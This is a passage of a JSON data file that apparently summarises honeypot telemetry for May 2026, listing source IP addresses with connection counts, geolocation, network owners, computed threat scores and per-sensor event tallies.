        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "196.188.56.190": {
      "attack_count": 6,
      "first_seen": "2026-05-02T01:29:22.375Z",
      "last_seen": "2026-05-14T02:56:50.266Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:29:22.375000+00:00",
        "last_seen_30d": "2026-05-14T02:57:56.747000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "201.238.35.150": {
      "attack_count": 6,
      "first_seen": "2026-05-19T04:10:44.037Z",
      "last_seen": "2026-05-19T05:57:42.764Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:10:44.037000+00:00",
        "last_seen_30d": "2026-05-19T05:58:50.836000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "64.227.174.84": {
      "attack_count": 6,
      "first_seen": "2026-05-31T19:27:50.088Z",
      "last_seen": "2026-05-31T19:27:50.369Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T19:19:50.366000+00:00",
        "last_seen_30d": "2026-05-31T19:28:57.762000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "100.27.226.38": {
      "attack_count": 4,
      "first_seen": "2026-05-14T01:08:01.953Z",
      "last_seen": "2026-05-14T01:08:07.726Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 45.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 11.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 14,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-13T01:05:29+00:00",
        "last_seen_30d": "2026-05-26T01:00:22.165000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Honeyaml": 1
      }
    },
    "134.122.60.135": {
      "attack_count": 4,
      "first_seen": "2026-05-17T18:18:10.204Z",
      "last_seen": "2026-05-17T18:18:18.202Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.0,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 8,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-17T18:18:10+00:00",
        "last_seen_30d": "2026-05-24T06:35:22.249000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 14,
        "Cowrie": 4,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "147.185.132.141": {
      "attack_count": 4,
      "first_seen": "2026-05-18T10:17:09.605Z",
      "last_seen": "2026-05-18T10:17:12.871Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 29,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T04:40:59.003000+00:00",
        "last_seen_30d": "2026-05-31T23:14:33.006000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 25,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "180.149.246.86": {
      "attack_count": 4,
      "first_seen": "2026-05-08T01:56:42.749Z",
      "last_seen": "2026-05-08T04:27:38.167Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133296,
      "as_org": "Web Werks India Pvt. Ltd.",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:56:42.749000+00:00",
        "last_seen_30d": "2026-05-08T04:28:44.783000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "198.235.24.3": {
      "attack_count": 4,
      "first_seen": "2026-05-17T04:39:20.057Z",
      "last_seen": "2026-05-17T04:39:23.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Chang-hua",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 60.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 12.5,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 15,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-17T04:38:22.210000+00:00",
        "last_seen_30d": "2026-05-31T03:40:59.214000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 4,
        "Honeytrap": 4,
        "ConPot": 1
      }
    },
    "198.235.24.67": {
      "attack_count": 4,
      "first_seen": "2026-05-16T10:46:18.077Z",
      "last_seen": "2026-05-16T10:46:21.098Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T04:45:49.985000+00:00",
        "last_seen_30d": "2026-05-31T06:13:02.255000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 21,
        "Cowrie": 4,
        "Dionaea": 3,
        "Redishoneypot": 3,
        "Ciscoasa": 2,
        "Tanner": 1,
        "Wordpot": 1
      }
    },
    "205.210.31.198": {
      "attack_count": 4,
      "first_seen": "2026-05-07T16:33:59.418Z",
      "last_seen": "2026-05-07T16:34:02.496Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 27,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T04:50:50+00:00",
        "last_seen_30d": "2026-05-30T21:10:08.777000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 18,
        "Cowrie": 4,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "205.210.31.6": {
      "attack_count": 4,
      "first_seen": "2026-05-28T22:22:26.452Z",
      "last_seen": "2026-05-28T22:22:29.675Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 20.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 25,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T06:22:51+00:00",
        "last_seen_30d": "2026-05-28T22:23:33.494000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "91.231.89.6": {
      "attack_count": 4,
      "first_seen": "2026-05-15T23:58:11.143Z",
      "last_seen": "2026-05-15T23:58:11.922Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 74.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 28,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T18:17:19+00:00",
        "last_seen_30d": "2026-05-29T12:08:45.836000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95,
        "Honeytrap": 30,
        "Cowrie": 4
      }
    },
    "120.48.152.13": {
      "attack_count": 3,
      "first_seen": "2026-05-22T04:07:32.783Z",
      "last_seen": "2026-05-22T04:09:32.786Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:48:35.724000+00:00",
        "last_seen_30d": "2026-05-22T04:20:10.725000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "113.10.186.221": {
      "attack_count": 2,
      "first_seen": "2026-05-03T17:42:53.249Z",
      "last_seen": "2026-05-03T17:43:05.461Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:42:53.249000+00:00",
        "last_seen_30d": "2026-05-03T17:44:10.690000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.213.194.162": {
      "attack_count": 2,
      "first_seen": "2026-05-19T02:58:47.008Z",
      "last_seen": "2026-05-19T02:58:59.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:58:47.008000+00:00",
        "last_seen_30d": "2026-05-19T03:00:04.992000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.248.225.132": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:23:08.945Z",
      "last_seen": "2026-05-22T21:23:37.144Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:23:08.945000+00:00",
        "last_seen_30d": "2026-05-22T21:24:46.815000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.209.76.240": {
      "attack_count": 2,
      "first_seen": "2026-05-24T23:15:05.408Z",
      "last_seen": "2026-05-24T23:15:17.931Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:15:05.408000+00:00",
        "last_seen_30d": "2026-05-24T23:16:18.085000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "166.1.89.61": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:05:53.223Z",
      "last_seen": "2026-05-23T01:05:53.428Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 395839,
      "as_org": "HOSTKEY",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:05:53.223000+00:00",
        "last_seen_30d": "2026-05-23T01:07:02.616000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "168.232.174.173": {
      "attack_count": 2,
      "first_seen": "2026-05-13T20:34:03.795Z",
      "last_seen": "2026-05-13T20:34:07.216Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cl\u00e1udio",
      "asn": 263924,
      "as_org": "Sonik Servicos de Comunicacao LTDA",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:34:03.795000+00:00",
        "last_seen_30d": "2026-05-13T20:35:15.449000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "179.189.91.192": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:37:48.515Z",
      "last_seen": "2026-05-08T19:38:02.001Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Londrina",
      "asn": 270942,
      "as_org": "GLINK TELECOMUNICACAO LTDA",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:37:48.515000+00:00",
        "last_seen_30d": "2026-05-08T19:39:06.124000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.87.251.136": {
      "attack_count": 2,
      "first_seen": "2026-05-08T08:48:50.204Z",
      "last_seen": "2026-05-08T08:49:02.492Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Tabo\u00e3o da Serra",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:48:50.204000+00:00",
        "last_seen_30d": "2026-05-08T08:50:06.849000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.212.0.26": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:06:12.305Z",
      "last_seen": "2026-05-04T14:06:25.118Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 16629,
      "as_org": "CTC. CORP S.A. TELEFONICA EMPRESAS",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:06:12.305000+00:00",
        "last_seen_30d": "2026-05-04T14:07:27.529000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.246.196.127": {
      "attack_count": 2,
      "first_seen": "2026-05-21T18:58:20.913Z",
      "last_seen": "2026-05-21T18:58:33.989Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:58:20.913000+00:00",
        "last_seen_30d": "2026-05-21T18:59:44.229000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.187.178.219": {
      "attack_count": 2,
      "first_seen": "2026-05-04T23:49:37.298Z",
      "last_seen": "2026-05-04T23:49:42.074Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:49:37.298000+00:00",
        "last_seen_30d": "2026-05-05T01:52:20.466000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "194.208.96.187": {
      "attack_count": 2,
      "first_seen": "2026-05-16T09:15:13.922Z",
      "last_seen": "2026-05-16T09:15:52.304Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": "Rankweil",
      "asn": 5385,
      "as_org": "Russmedia IT GmbH",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T09:15:13.922000+00:00",
        "last_seen_30d": "2026-05-16T09:17:01.112000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.139.216.34": {
      "attack_count": 2,
      "first_seen": "2026-05-29T11:31:47.587Z",
      "last_seen": "2026-05-29T11:31:59.693Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 61941,
      "as_org": "Enove Solucoes em Comunicacao Ltda",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T11:31:47.587000+00:00",
        "last_seen_30d": "2026-05-29T11:33:05.817000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.33.205.69": {
      "attack_count": 2,
      "first_seen": "2026-05-19T10:33:13.113Z",
      "last_seen": "2026-05-19T10:33:25.832Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Araraquara",
      "asn": 28649,
      "as_org": "Desktop Sigmanet Comunicacao Multimidia SA",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:33:13.113000+00:00",
        "last_seen_30d": "2026-05-19T10:34:33.819000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.66": {
      "attack_count": 2,
      "first_seen": "2026-05-04T18:00:10.842Z",
      "last_seen": "2026-05-04T18:00:42.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 3,
